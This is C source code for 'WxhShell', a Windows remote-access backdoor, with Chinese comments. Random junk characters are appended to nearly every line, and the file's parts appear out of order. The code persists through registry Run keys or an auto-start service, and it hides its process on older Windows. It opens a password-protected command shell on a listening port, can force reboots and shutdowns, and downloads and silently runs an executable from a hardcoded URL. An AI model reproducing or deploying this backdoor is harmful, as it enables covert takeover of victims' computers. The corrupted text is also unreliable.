    send(wsh,msg_ws_err,strlen(msg_ws_err),0); do>"[RO  
    else { ?68uS;  
    closesocket(wsh); :Ze+%d=  
    ExitThread(0); :y,v&Kk#T  
    } td-3h,\\  
    break; 6vf\R*D|A  
    } ;;gK@?hJ  
  // 获取shell c| ' w  
  case 's': { }GnwY97  
    CmdShell(wsh); f|aDTWF  
    closesocket(wsh); VzRx%j/i  
    ExitThread(0); D;F{1[s(  
    break; fd8#Ng"1  
  } %xyX8c{sP  
  // 退出 jB^OP1  
  case 'x': { c;I, O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +MO E  
    CloseIt(wsh); M\+*P,i  
    break; 8xI`jE"1  
    } W)SjQp6  
  // 离开 mf|pNiQ,  
  case 'q': { -05U%l1e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TL)O-  
    closesocket(wsh); gS"Q=ZK"  
    WSACleanup(); r7!J&8;{K  
    exit(1); 9 K  
    break; )3muPMaY  
        } $ A-b vL  
  } F}rPY:  
  } 4W\,y_Q o  
]Bb7(JX  
  // 提示信息 mKg@W;0ML  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ke.7Zp2.R  
} GZ0aOpUWVq  
  } "gNK><  
s"0b%0?A  
  return; hK}bj  
} 2neRJ  
]?9[l76O7  
// shell模块句柄 %XXkVK`  
int CmdShell(SOCKET sock) O rk  
{ 1 2]fQkp  
STARTUPINFO si; nY) .|\|i  
ZeroMemory(&si,sizeof(si)); de-0?6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8tWE=8<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~%q7Vmk9  
PROCESS_INFORMATION ProcessInfo; |r~ uos  
char cmdline[]="cmd"; iM64,wnA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .:;fAJPf  
  return 0; {u 30r c"  
} c%YDt`  
A:Rw@ B$  
// 自身启动模式 t58m=4  
int StartFromService(void) TIRHT`"i  
{ .~dEUt/|)  
typedef struct :+kUkb-/  
{ o*7yax  
  DWORD ExitStatus; i1/}XV  
  DWORD PebBaseAddress; 12r` )  
  DWORD AffinityMask; ':;LrTc'K  
  DWORD BasePriority; Ww87  
  ULONG UniqueProcessId; q?VVYZXP  
  ULONG InheritedFromUniqueProcessId; ":&|[9/  
}   PROCESS_BASIC_INFORMATION; &9ki O  
rqvU8T7A  
PROCNTQSIP NtQueryInformationProcess; 6dT|;koWbm  
2_olT_#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :2q ?>\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p\ txlT  
AZ8UXq  
  HANDLE             hProcess; wd`R4CKhP]  
  PROCESS_BASIC_INFORMATION pbi; -v*x V;[  
\FI^ Vk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^~I @ spR4  
  if(NULL == hInst ) return 0; X"J%R/f  
iE{Oit^aG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `03<0L   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9c5!\m1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oBUh]sR{.  
&8Wlps`  
  if (!NtQueryInformationProcess) return 0; ]b\WaS8I  
 g@(30{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CB@B.)E  
  if(!hProcess) return 0; *7vue"I*Z  
By/bVZks  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U3q5^{0d/  
byj[u!{  
  CloseHandle(hProcess); 3GWrn ,f  
u@"o[e':  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ty;o&w$  
if(hProcess==NULL) return 0; mSj76' L#  
bf^ly6ml  
HMODULE hMod; 0N1' $K$\  
char procName[255]; VEo^ :o)r  
unsigned long cbNeeded; xDe47&qKM  
]EX--d<_`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7+] F^ 6  
B=x~L  
  CloseHandle(hProcess); T.euoFU{Z  
k*9%8yi_ U  
if(strstr(procName,"services")) return 1; // 以服务启动 {1HB!@%,(  
,yi2O]5e>!  
  return 0; // 注册表启动 vcD'~)G(*  
} g&aT!%QvX+  
W,'3D~g8  
// 主模块 o;'4c  
int StartWxhshell(LPSTR lpCmdLine) fsb=8>}63}  
{ Pu/lpHm|  
  SOCKET wsl; =[8d@d\  
BOOL val=TRUE; QW:Z[?39^  
  int port=0; B$EK_@M  
  struct sockaddr_in door; IHfSkFz`j  
)ldUayJ  
  if(wscfg.ws_autoins) Install(); r?XDvU  
C_89YFn+  
port=atoi(lpCmdLine); a j_:|]j  
Rmgxf/  
if(port<=0) port=wscfg.ws_port; Lj-{t% }  
$ACe\R/%  
  WSADATA data; >|S>J+(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V?WMj $l<  
gNi}EP5>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Q#H(\26r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Em-.%c  
  door.sin_family = AF_INET; DwC@"i.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F_~6n]Sr  
  door.sin_port = htons(port); 5lG|A6+w{  
A&?WP\_z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O^Dc&w  
closesocket(wsl); m>+A*M8  
return 1; Bzwx0c2VY8  
} qIUC2,&g  
zVn*!c  
  if(listen(wsl,2) == INVALID_SOCKET) { GHqBnE{B  
closesocket(wsl); vzQyE0T/  
return 1; 'NRN_c9  
} o|BFvhg  
  Wxhshell(wsl); ="=#5C  
  WSACleanup(); k@lXXII ?  
]qF<Zw7  
return 0; %G^(T%q| m  
4I+.^7d  
} sF, uIr/  
Xd5! Ti}  
// 以NT服务方式启动 jBGG2[hV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nEuct4BcL}  
{ MgSp.<!  
DWORD   status = 0; xQ_:]\EZ  
  DWORD   specificError = 0xfffffff; S@;&U1@h  
GZ}*r{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vJzxP y|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P|yGx)'^P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z@8MhJ  
  serviceStatus.dwWin32ExitCode     = 0; Ty(yh(oYF`  
  serviceStatus.dwServiceSpecificExitCode = 0; HK=CP0H  
  serviceStatus.dwCheckPoint       = 0; U5 -zB)V  
  serviceStatus.dwWaitHint       = 0; ]VmzKA|h+  
+EQpD.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YGi/]^Nba  
  if (hServiceStatusHandle==0) return; 23,%=U  
1@s^$fvW  
status = GetLastError(); >zN" z)  
  if (status!=NO_ERROR) 6qY\7R2+  
{ X~`.}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,5`."-0}  
    serviceStatus.dwCheckPoint       = 0; z1)$  
    serviceStatus.dwWaitHint       = 0; s n=zh1 A  
    serviceStatus.dwWin32ExitCode     = status; W'm!f  
    serviceStatus.dwServiceSpecificExitCode = specificError; !e9N3Ga  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Sk#a-^~  
    return; $&c<T4$d  
  } R'jUS7]Y  
o$^O<zL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )jp{*?^\  
  serviceStatus.dwCheckPoint       = 0; h,Y{t?Of  
  serviceStatus.dwWaitHint       = 0; k,yc>3P;U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U`HXsq p}  
} ID_|H?.  
m.;{ 8AM%f  
// 处理NT服务事件,比如:启动、停止 e@6RC bj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {-:4O\/  
{ wi![0IE )  
switch(fdwControl) ~Tpe,juG_  
{ n$}R/*  
case SERVICE_CONTROL_STOP: I 0x`H)DA  
  serviceStatus.dwWin32ExitCode = 0; \a9D[wk;@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OcyiL)tv5  
  serviceStatus.dwCheckPoint   = 0; cWX"e6  
  serviceStatus.dwWaitHint     = 0; 1D 3 dYVE  
  { .eZPp~[lAN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tRpL0 =y  
  } KY;uO 8Te  
  return; ,'/HcF?yf  
case SERVICE_CONTROL_PAUSE: IF,i^,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S&gKgQD"Q  
  break; wliGds  
case SERVICE_CONTROL_CONTINUE: EIy]qAE:f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 35-DnTv  
  break; H-nFsJ(R!c  
case SERVICE_CONTROL_INTERROGATE: EN5G:hD  
  break; 7TMDZ*  
}; "\wDS2M)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FB?q/ _  
} %Q>~7P  
Q>06dO~z8  
// 标准应用程序主函数 JI{OGr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1"~O"msb  
{ KqG/a  
J7 Oa})-+'  
// 获取操作系统版本 %M4XbSN|  
OsIsNt=GetOsVer(); (mOqv9pn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e|OG-t[$*  
fwar8 i1  
  // 从命令行安装 C.Wms}XA  
  if(strpbrk(lpCmdLine,"iI")) Install(); i`ZHjW~`  
?[NTw./'7A  
  // 下载执行文件 QI :/,w  
if(wscfg.ws_downexe) { mfp`Iy"}+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~{3o(gzl  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wfi:wCqZG  
} 2<\yky  
Ah8^^h|TPJ  
if(!OsIsNt) { 9~Y)wz  
// 如果时win9x,隐藏进程并且设置为注册表启动 '>S8t/  
HideProc(); ` maN5)  
StartWxhshell(lpCmdLine); Y3sNr)qss  
} etQx>U  
else )f:!#v(K  
  if(StartFromService()) CguU+8 ]  
  // 以服务方式启动 zO7lsx2 =  
  StartServiceCtrlDispatcher(DispatchTable); OoU'86)  
else OLd$oxKR  
  // 普通方式启动  8E.5k@  
  StartWxhshell(lpCmdLine); h!X'SGK  
->RF`SQu  
return 0; (<g;-pZH%  
} Np5/lPb1  
=%#$HQ=  
/4f 5s#hR  
pRDON)$  
=========================================== leX7(Y;!a7  
GakmROZ@9  
qQ?,|4)y  
*BP\6"X  
o to wvm  
z wniS6R1  
" k8t Na@H  
0W<nE[U  
#include <stdio.h> hD9' `SQ  
#include <string.h> X&;]  
#include <windows.h> $ uIwRG <  
#include <winsock2.h> pyb}ha  
#include <winsvc.h> I,`D&   
#include <urlmon.h> #u]_7/(</`  
2Xq!'NrS  
#pragma comment (lib, "Ws2_32.lib") x:&L?eOT  
#pragma comment (lib, "urlmon.lib") tp,mw24  
"*H'bzK  
#define MAX_USER   100 // 最大客户端连接数 a_}BTkfHa  
#define BUF_SOCK   200 // sock buffer T/spUlWu  
#define KEY_BUFF   255 // 输入 buffer D/%b@Ls2ze  
IZ(CRKCGBl  
#define REBOOT     0   // 重启 07G*M ]  
#define SHUTDOWN   1   // 关机 |WwFE|<  
=+sIX3  
#define DEF_PORT   5000 // 监听端口 5k7(!  
+%cr?g  
#define REG_LEN     16   // 注册表键长度 8d*<Aki?;  
#define SVC_LEN     80   // NT服务名长度 KWuj_.;  
TckR_0LNV  
// 从dll定义API v2uS 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oJz:uv8Pe.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JNA}EY^2I.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hvv>UC/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .of:#~  
1SJHX1CxX  
// wxhshell配置信息 ~"4vd 3  
struct WSCFG { \"sSS.'  
  int ws_port;         // 监听端口 ePcI^}{  
  char ws_passstr[REG_LEN]; // 口令  6O|\4c;  
  int ws_autoins;       // 安装标记, 1=yes 0=no ur"e F  
  char ws_regname[REG_LEN]; // 注册表键名 (k2J{6]  
  char ws_svcname[REG_LEN]; // 服务名 1 069]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Xb}I;rM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i6\!7D]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 odT7Gq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no />j+7ts  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BNKo6:wy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fKK-c9F   
Xe^=(| M  
}; A%2M]];%X  
JI#Enh!Lv  
// default Wxhshell configuration L|xen*O  
struct WSCFG wscfg={DEF_PORT, &.bR1wX  
    "xuhuanlingzhe", *U^\Mwp  
    1, "GC]E8&>H  
    "Wxhshell", PAWr1]DI  
    "Wxhshell", )GT?Wd  
            "WxhShell Service", *t-A6)2  
    "Wrsky Windows CmdShell Service", +>9^])K|  
    "Please Input Your Password: ", OD!CnK  
  1, ug3lMN4UX  
  "http://www.wrsky.com/wxhshell.exe", yp/V 8C  
  "Wxhshell.exe" JU,RO oz(  
    }; Hn]n]wsLy  
&DhA$o"'  
// 消息定义模块 s!RA_%8/>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1AEVZ@(j7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M$hw(fC|m1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ..]X<  
char *msg_ws_ext="\n\rExit."; M[3w EX^  
char *msg_ws_end="\n\rQuit."; D"XQ!1B%  
char *msg_ws_boot="\n\rReboot..."; ?%fZvpn-  
char *msg_ws_poff="\n\rShutdown..."; ~^ 5n$jq  
char *msg_ws_down="\n\rSave to "; 9QQ@Y}  
CR PE?CRQF  
char *msg_ws_err="\n\rErr!"; :W<,iqSCm  
char *msg_ws_ok="\n\rOK!"; WHj4#v(  
C-b%PgA  
char ExeFile[MAX_PATH]; $j2)_(<A%Q  
int nUser = 0; +mW$D@Pf  
HANDLE handles[MAX_USER];  #=~1hk  
int OsIsNt; TOF62,  
3V!&y/c<  
SERVICE_STATUS       serviceStatus; D$!p+Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; + T-zf@j  
NF.6(PG|  
// 函数声明 V +<AG*[  
int Install(void); nXaX=  
int Uninstall(void); (<~ R[sT|  
int DownloadFile(char *sURL, SOCKET wsh); >oaEG5%d  
int Boot(int flag); L<>NL$CrN  
void HideProc(void); NHVx!Kc  
int GetOsVer(void); ] Sx= y<  
int Wxhshell(SOCKET wsl); |DS@90}  
void TalkWithClient(void *cs); F?AfB[PM  
int CmdShell(SOCKET sock); l7y`$8Co  
int StartFromService(void); )0V]G{QN  
int StartWxhshell(LPSTR lpCmdLine); 3S|;yOl#X  
Dj&bHC5%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  KGwL09)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ #c+vfq  
r!gCh`PiK  
// 数据结构和表定义 <>/MKMq!  
SERVICE_TABLE_ENTRY DispatchTable[] = ^* v{t?u  
{ "X}F%:HL  
{wscfg.ws_svcname, NTServiceMain}, mSw?iL  
{NULL, NULL} 9nAK6$/  
}; QN8Hz/}\  
5va&N<U  
// 自我安装 gJ~*rWBK:  
int Install(void) U$J_:~  
{ { RX|  
  char svExeFile[MAX_PATH]; jY6=+9Jz5  
  HKEY key; rd~W.b_b  
  strcpy(svExeFile,ExeFile); 8VGXw;(Y,d  
(mr` ?LI}  
// 如果是win9x系统,修改注册表设为自启动 =QO[zke:  
if(!OsIsNt) { wyEgm:Vt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XFAt\g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BjJ gQ`X  
  RegCloseKey(key); CKw)J}z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Y'YpH`l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |3o@I uGt  
  RegCloseKey(key); /4BXF4ksi,  
  return 0; s(LqhF[N2]  
    } qinQ5t  
  } g' U^fN  
} T>o# *{q n  
else { W/X;|m`  
U>jk`?zW  
// 如果是NT以上系统,安装为系统服务 [zd-=.:+M[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /s_$CSiB  
if (schSCManager!=0) Ybg`Z  
{ = +\oL!^  
  SC_HANDLE schService = CreateService KTJ $#1q  
  ( Q*{ 2  
  schSCManager, ,IB)Kk2  
  wscfg.ws_svcname, I<-" J^2  
  wscfg.ws_svcdisp, 2 ~'quA  
  SERVICE_ALL_ACCESS, %K,,Sl_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n=MYv(Pp}  
  SERVICE_AUTO_START, jM<Ihmh|  
  SERVICE_ERROR_NORMAL, 7B :aJfxM  
  svExeFile, L%Hm# eFx  
  NULL, <xNM@!'\h  
  NULL, Ot<!YM  
  NULL, LA0x6E+I  
  NULL, @= 9y5r  
  NULL f#MN-1[67  
  ); EmoU7iy  
  if (schService!=0) Qt39H@c|z~  
  { SkUP9  
  CloseServiceHandle(schService); +38P$Koz{r  
  CloseServiceHandle(schSCManager); tqC#_[~7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "7/YhLq7  
  strcat(svExeFile,wscfg.ws_svcname); 2p[3Ap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {<8#T`I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); = F<`-6  
  RegCloseKey(key); %/C[\w p81  
  return 0; l0 _O<  
    } ]gk1h=Y~h  
  } rnaDo\5  
  CloseServiceHandle(schSCManager); 9?6$ 2I  
} .r"?w  
} DZZt%n8J  
Z%Kj^ M  
return 1; *r3vTgo$  
} y~ LVK8  
y>PbYjuIU  
// 自我卸载 go5!zSs  
int Uninstall(void) J z b".A  
{ AV! cCQ  
  HKEY key; ,"ZlY}!Gn  
+y(h/NcQ  
if(!OsIsNt) { v[GHqZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g/gLG:C  
  RegDeleteValue(key,wscfg.ws_regname); i i Y[  
  RegCloseKey(key); k]sT'}[n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zb$U'D_ -f  
  RegDeleteValue(key,wscfg.ws_regname); gC-0je  
  RegCloseKey(key); w5\)di  
  return 0; \}W.RQ^3  
  } G8'3.;"W5  
} WKML#U]5T  
} -]%@,L^@  
else { e)7r  
?sE21m?b-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gV BV@v!W  
if (schSCManager!=0) $!w%=  
{ ;wZ.p"T9^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AR^Di`n!  
  if (schService!=0) v2R:=d ')>  
  { WFG/vzJ  
  if(DeleteService(schService)!=0) { rK wkj)  
  CloseServiceHandle(schService); PN=yf@<V3F  
  CloseServiceHandle(schSCManager); 6 H.Da]hk  
  return 0; y 6< tV.  
  } 9m4|1)  
  CloseServiceHandle(schService); K6oLSr+EAK  
  } Hy'&x?F6  
  CloseServiceHandle(schSCManager); (""&$BJQ|  
} ^lj>v}4fkW  
} ~ .-'pdz%  
L zC~>Uj  
return 1; O*7 pg  
} f0+  
*fZ'#C~x  
// 从指定url下载文件 g.Q ?Z{  
int DownloadFile(char *sURL, SOCKET wsh) |1R @Jz`  
{ .+sIjd  
  HRESULT hr; uWE@7e4'I  
char seps[]= "/"; .CYkb8hF  
char *token; YR2/`9s\QJ  
char *file; %3wK.tR  
char myURL[MAX_PATH]; ^gImb`<6-  
char myFILE[MAX_PATH]; Sb.;$Be5g  
VXp X#O  
strcpy(myURL,sURL); Vv]mME@  
  token=strtok(myURL,seps); wW~2]*n  
  while(token!=NULL) PoZBiw@  
  { fsoS!6h0k  
    file=token; SbY i|V,H  
  token=strtok(NULL,seps); ;7}*Xr|  
  } Q>$v~v?9  
b._pG(o1  
GetCurrentDirectory(MAX_PATH,myFILE); e6Y0G,K  
strcat(myFILE, "\\"); ]h6<o*  
strcat(myFILE, file); tEl_A"^e  
  send(wsh,myFILE,strlen(myFILE),0); }<p%PyM  
send(wsh,"...",3,0); I]58;|J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L 'y+^L|X  
  if(hr==S_OK) %o>1$f]  
return 0; q_bB/   
else E),T,   
return 1; `fXcW)  
rE 8-MB  
} Rd/!CJ@g  
lf 3W:0 K  
// 系统电源模块  OxRzKT  
int Boot(int flag) V! p;ME  
{ R4?/7  
  HANDLE hToken; hI$an%Y(  
  TOKEN_PRIVILEGES tkp; A]1](VQ)4  
o'G")o  
  if(OsIsNt) { <pCZ+Yv E"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c{[WOrA~#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H`sV\'`!}  
    tkp.PrivilegeCount = 1; TD'1L:mv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oT OMqR{"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?]S*=6  
if(flag==REBOOT) { 'tekne  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V0>,Kxk  
  return 0; > ewcD{bt  
} ? T9-FGW  
else { Yyf8B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tP3Upw"U  
  return 0; <?+ \\Z!7  
} Ktoxl+I?  
  } L fhd02  
  else { %VgR *  
if(flag==REBOOT) { r?{tBju^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R/=yS7@{)  
  return 0; zrcSPh  
} 9"[#\TW9Vb  
else { S[Et!gj:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /n_N`VJ7H  
  return 0; HjrCX>v  
} !U@[lBW  
} x(A .^Yz  
GKX#-zsh79  
return 1; YIfbcR5  
} ]'{<O3:7  
z,vjY$t:/  
// win9x进程隐藏模块 +]G;_/[2  
void HideProc(void) ?(Nls.c  
{ Xh5 z8  
&W1c#]q@r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P6 9S[aqW  
  if ( hKernel != NULL ) 7+fFKZFKF  
  { i9Qx{f88  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W1 E(( 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AyddkjX  
    FreeLibrary(hKernel); :%R3( &  
  } I/c* ?  
yA~W|q(/V  
return; N7XRk= J  
} Y:O%xtGi  
{=TD^>?  
// 获取操作系统版本 Y`%:hvy~  
int GetOsVer(void) L49`=p<  
{ /IODRso/!  
  OSVERSIONINFO winfo; ws@;2?%A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I%|W O*x  
  GetVersionEx(&winfo); ."dmL=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p\Jz<dkN1  
  return 1; J*.qiUAgW  
  else mhL,:UE  
  return 0; VgOj#Z?K  
} ds`a6>746  
)]'?yS"  
// 客户端句柄模块 E1=]m  
int Wxhshell(SOCKET wsl) Lf3:' n  
{ cJ&%XN  
  SOCKET wsh; o@ }Jd0D4  
  struct sockaddr_in client;  QHOem=B  
  DWORD myID; C;_10Rb2ut  
-rUn4a  
  while(nUser<MAX_USER) 7tJPjp4l  
{ ^J?I-LG  
  int nSize=sizeof(client); bUt?VR}P(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DJhi>!xJ  
  if(wsh==INVALID_SOCKET) return 1; $Ad 5hkz  
3eD#[jkAI;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rk `x81  
if(handles[nUser]==0) +h"RXwlBM  
  closesocket(wsh); |d K_^~;o  
else 't]=ps  
  nUser++; ,JX/` 7y  
  } ygh*oVHO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S Bs_rhe  
C,.$g>)MZK  
  return 0; t\X5B]EZ  
} U]O7RH  
r/SV.` k  
// 关闭 socket |oa 9 g2  
void CloseIt(SOCKET wsh) IWX%6*Zz  
{ !ce5pA  
closesocket(wsh); ZdfIe~Oni  
nUser--; lIz"mk  
ExitThread(0); s-[_%  
} xDm^f^}>  
=JY9K0S~  
// 客户端请求句柄 wj /OYnMw  
void TalkWithClient(void *cs) }sZme3*J[  
{ y]yp8Bs+  
x pT85D  
  SOCKET wsh=(SOCKET)cs; #)z_TM07P  
  char pwd[SVC_LEN]; pPUKx =d  
  char cmd[KEY_BUFF]; 'Tj9btM*cL  
char chr[1]; &^9 2z:?  
int i,j; SnRk` 5t  
% [b~4,c1  
  while (nUser < MAX_USER) { crG+BFi  
Vv#|% ^0  
if(wscfg.ws_passstr) { UoCFj2?C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3+rud9T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); adRvAq]mA  
  //ZeroMemory(pwd,KEY_BUFF); ]25 xX  
      i=0; <J!#k@LY]7  
  while(i<SVC_LEN) { "CX&2Xfe  
jNBvy1  
  // 设置超时 r$<[`L+6  
  fd_set FdRead; 1 :<f[l  
  struct timeval TimeOut; 8SR~{  
  FD_ZERO(&FdRead); r&U5w^p  
  FD_SET(wsh,&FdRead); F6`$5%$M;?  
  TimeOut.tv_sec=8; 8K=sx @l  
  TimeOut.tv_usec=0; 1--_E,Su>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x8+W9i0[1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v@(Y:\>  
,onOwPz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kWZ?86!  
  pwd=chr[0]; =J:6p-\*  
  if(chr[0]==0xd || chr[0]==0xa) { [9Q}e;T  
  pwd=0; v2][gn+58  
  break; WW\t<O;z  
  } S3l$\X;6X  
  i++; }&M$  
    } +zn&DG0\X  
Ev+m+  
  // 如果是非法用户,关闭 socket !Nua  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KeFEUHU  
} . Lbu[  
c0h:Vqk-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R-5EztmLae  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XpFW(v  
;n0VF77>O  
while(1) { h2<Y*j  
JL.noV3q$  
  ZeroMemory(cmd,KEY_BUFF); H=,0p  
w_4/::K*  
      // 自动支持客户端 telnet标准   +X#JCLD  
  j=0; Kw_> X&GcJ  
  while(j<KEY_BUFF) { $ReoIU^<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tn>z%6;&Z  
  cmd[j]=chr[0]; V 3?x_pp  
  if(chr[0]==0xa || chr[0]==0xd) { L Vt{`   
  cmd[j]=0; v 9\2/B  
  break; h' #C$i  
  } W(.q. Sx>  
  j++; >..C^8 "  
    } m$6u K0  
F6,[!.wl  
  // 下载文件 ;]XKe')  
  if(strstr(cmd,"http://")) { G>Uam TM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pH!e<m  
  if(DownloadFile(cmd,wsh)) MOp06  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fg}&=r  
  else C 0@tMB7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MhT.Zg\  
  } (^,4{;YQ5  
  else { >AFX}N#  
*%6NuZ  
    switch(cmd[0]) { "kH Ft|%@  
  zPWJ=T@N  
  // 帮助 % VZ QX_  
  case '?': { A 9\]y%!  
